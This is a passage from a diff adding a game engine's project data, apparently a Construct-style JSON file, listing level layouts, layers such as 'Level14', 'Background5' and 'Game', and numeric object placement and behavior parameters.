+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 6434,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 6435,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 6436,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 62,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 6438,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ -1,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 6439,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27,
+ 22,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 6440,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119,
+ 25,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 6441,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 25,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 6442,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 874,
+ -98,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 6444,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 6445,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 404,
+ 24,
+ 0,
+ 130,
+ 37,
+ 0,
+ 0,
+ 1,
+ 0.5384615659713745,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 528,
+ 6452,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398,
+ 236.5,
+ 0,
+ 870,
+ 560,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 6443,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 893372233293738,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 190976295020567,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level14",
+ 5400,
+ 1500,
+ false,
+ "Gameplay1",
+ 976246931637414,
+ [
+ [
+ "fondo",
+ 0,
+ 540833348798944,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -9,
+ -14,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 3060,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 813140929728094,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 3061,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 3062,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5417.18359375,
+ 493.0818786621094,
+ 0,
+ 40,
+ 800,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 3070,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 749,
+ 0,
+ 40,
+ 1514,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 3086,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 705238128275757,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 280,
+ 109,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 4580,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 369392311160793,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 429012018495233,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5,
+ 737,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5166,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 331,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5167,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1038,
+ 1005,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2926,
+ 925,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5185,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3680,
+ 1009,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5186,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3772,
+ 940,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5187,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4385,
+ 1107,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5188,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4856,
+ 1043,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5189,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5102,
+ 1140,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5190,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2095,
+ 1058,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5191,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1749,
+ 1004,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5192,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740,
+ 1272,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5193,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4068,
+ 1377,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5194,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3150,
+ 1240,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5195,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1779,
+ 528,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5196,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354,
+ 835,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5197,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 256,
+ 749,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5198,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 193,
+ 2468,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5199,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4674,
+ 1317,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5200,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5038,
+ 1348,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5201,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 286734052942597,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 209,
+ 961,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5202,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 316,
+ 1115,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5203,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 712,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5529,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 265,
+ 738,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5543,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 82,
+ 737,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5607,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5425,
+ 845,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5608,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5393.8017578125,
+ 642.5233764648438,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5609,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4831,
+ 645,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5610,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4364.44921875,
+ 641.0987548828125,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5611,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4318,
+ 673,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5612,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4286.5546875,
+ 639.7381591796875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5613,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3900,
+ 851,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5614,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3968.565185546875,
+ 856.6939086914062,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5615,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3686.6142578125,
+ 949.35107421875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5616,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3210.817626953125,
+ 947.1450805664062,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5617,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2899,
+ 1053,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5618,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2985.6103515625,
+ 875.15576171875,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5619,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2818.55126953125,
+ 860.3873901367188,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5620,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2496,
+ 690,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5621,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2325,
+ 692,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5622,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1353,
+ 839,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5623,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1466,
+ 749,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5624,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 889,
+ 933,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5625,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 643,
+ 936,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5626,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 504,
+ 925,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5627,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 797,
+ 936,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5628,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1075,
+ 929,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5629,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3365,
+ 1179,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5664,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3557,
+ 1282,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5665,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
